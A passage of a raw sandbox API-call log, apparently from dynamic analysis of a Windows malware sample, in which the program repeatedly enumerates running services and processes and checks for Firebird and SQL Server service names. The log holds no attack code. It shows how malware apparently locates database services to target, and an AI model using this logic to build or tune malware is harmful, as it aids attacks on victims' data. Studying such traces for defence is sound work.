(lpString="PlugPlay") returned 8 [0295.455] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0295.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0295.456] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0295.456] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0295.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0295.456] lstrlenW (lpString="Power") returned 5 [0295.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0295.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0295.456] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0295.456] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0295.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0295.456] lstrlenW (lpString="ProfSvc") returned 7 [0295.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0295.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0295.456] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0295.456] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0295.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0295.456] lstrlenW (lpString="RpcEptMapper") returned 12 [0295.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0295.456] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0295.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0295.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0295.456] lstrlenW (lpString="RpcSs") returned 5 [0295.456] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0295.456] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0295.456] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0295.456] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0295.456] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0295.456] lstrlenW (lpString="SamSs") returned 5 [0295.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0295.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0295.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0295.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0295.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0295.457] lstrlenW (lpString="Schedule") returned 8 [0295.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0295.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0295.457] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0295.457] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0295.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0295.457] lstrlenW (lpString="SecurityHealthService") returned 21 [0295.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0295.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0295.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0295.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0295.457] lstrlenW (lpString="SENS") returned 4 [0295.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0295.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0295.457] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0295.457] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0295.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0295.457] lstrlenW (lpString="ShellHWDetection") returned 16 [0295.457] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.457] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0295.457] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0295.457] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0295.457] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0295.458] lstrlenW (lpString="Spooler") returned 7 [0295.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0295.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0295.458] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0295.458] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0295.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0295.458] lstrlenW (lpString="SSDPSRV") returned 7 [0295.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0295.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0295.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0295.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0295.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0295.458] lstrlenW (lpString="StateRepository") returned 15 [0295.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0295.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0295.458] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0295.458] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0295.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0295.458] lstrlenW (lpString="SysMain") returned 7 [0295.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0295.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0295.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0295.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0295.458] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0295.458] lstrlenW (lpString="SystemEventsBroker") returned 18 [0295.458] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0295.458] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0295.458] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0295.458] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0295.459] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x45701b0 | out: hHeap=0x6e0000) returned 1 [0295.459] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x518 [0295.462] Process32FirstW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0295.478] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0295.524] lstrlenW (lpString="System") returned 6 [0295.524] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0295.525] lstrlenW (lpString="smss.exe") returned 8 [0295.525] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.526] lstrlenW (lpString="csrss.exe") returned 9 [0295.526] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0295.527] lstrlenW (lpString="wininit.exe") returned 11 [0295.527] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0295.527] lstrlenW (lpString="csrss.exe") returned 9 [0295.527] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0295.528] lstrlenW (lpString="winlogon.exe") returned 12 [0295.528] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0295.529] lstrlenW (lpString="services.exe") returned 12 [0295.529] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0295.529] lstrlenW (lpString="lsass.exe") returned 9 [0295.529] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.530] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0295.530] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0295.531] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0295.531] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.531] lstrlenW (lpString="svchost.exe") returned 11 [0295.532] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.532] lstrlenW (lpString="svchost.exe") returned 11 [0295.532] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0295.533] lstrlenW (lpString="dwm.exe") returned 7 [0295.533] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.534] lstrlenW (lpString="svchost.exe") returned 11 [0295.534] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.535] lstrlenW (lpString="svchost.exe") returned 11 [0295.535] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.535] lstrlenW (lpString="svchost.exe") returned 11 [0295.535] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x47, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.536] lstrlenW (lpString="svchost.exe") returned 11 [0295.536] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.537] lstrlenW (lpString="svchost.exe") returned 11 [0295.537] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.537] lstrlenW (lpString="svchost.exe") returned 11 [0295.537] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.538] lstrlenW (lpString="svchost.exe") returned 11 [0295.538] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.539] lstrlenW (lpString="svchost.exe") returned 11 [0295.539] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x528, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.539] lstrlenW (lpString="svchost.exe") returned 11 [0295.539] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.540] lstrlenW (lpString="svchost.exe") returned 11 [0295.540] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0295.541] lstrlenW (lpString="spoolsv.exe") returned 11 [0295.541] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0295.542] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0295.542] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0295.543] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0295.543] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0295.543] lstrlenW (lpString="Memory Compression") returned 18 [0295.543] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.544] lstrlenW (lpString="svchost.exe") returned 11 [0295.544] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0295.545] lstrlenW (lpString="audiodg.exe") returned 11 [0295.545] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0295.546] lstrlenW (lpString="sihost.exe") returned 10 [0295.546] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.546] lstrlenW (lpString="svchost.exe") returned 11 [0295.546] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0295.547] lstrlenW (lpString="taskhostw.exe") returned 13 [0295.547] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0295.548] lstrlenW (lpString="explorer.exe") returned 12 [0295.548] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0295.548] lstrlenW (lpString="SearchUI.exe") returned 12 [0295.548] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0295.549] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0295.549] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0295.550] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0295.550] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0295.550] lstrlenW (lpString="1csrss.exe") returned 10 [0295.550] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0295.551] lstrlenW (lpString="svchost.exe") returned 11 [0295.551] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0295.552] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0295.552] Process32NextW (in: hSnapshot=0x518, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0295.552] CloseHandle (hObject=0x518) returned 1 [0295.553] Sleep (dwMilliseconds=0x1f4) [0296.279] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddb88 [0296.280] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0296.280] GetLastError () returned 0xea [0296.280] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d74) returned 0x4570cd0 [0296.280] EnumServicesStatusExW (in: hSCManager=0x7ddb88, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4570cd0, cbBufSize=0x1d74, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4570cd0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0296.281] CloseServiceHandle (hSCObject=0x7ddb88) returned 1 [0296.281] lstrlenW (lpString="Appinfo") returned 7 [0296.281] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0296.281] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0296.281] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0296.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0296.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0296.282] lstrlenW (lpString="AppXSvc") returned 7 [0296.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0296.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0296.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0296.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0296.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0296.282] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0296.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0296.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0296.282] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0296.282] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0296.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0296.282] lstrlenW (lpString="Audiosrv") returned 8 [0296.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0296.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0296.282] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0296.282] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0296.282] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0296.282] lstrlenW (lpString="BFE") returned 3 [0296.282] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0296.282] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0296.282] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0296.282] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0296.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0296.283] lstrlenW (lpString="BITS") returned 4 [0296.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0296.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0296.283] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0296.283] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0296.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0296.283] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0296.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 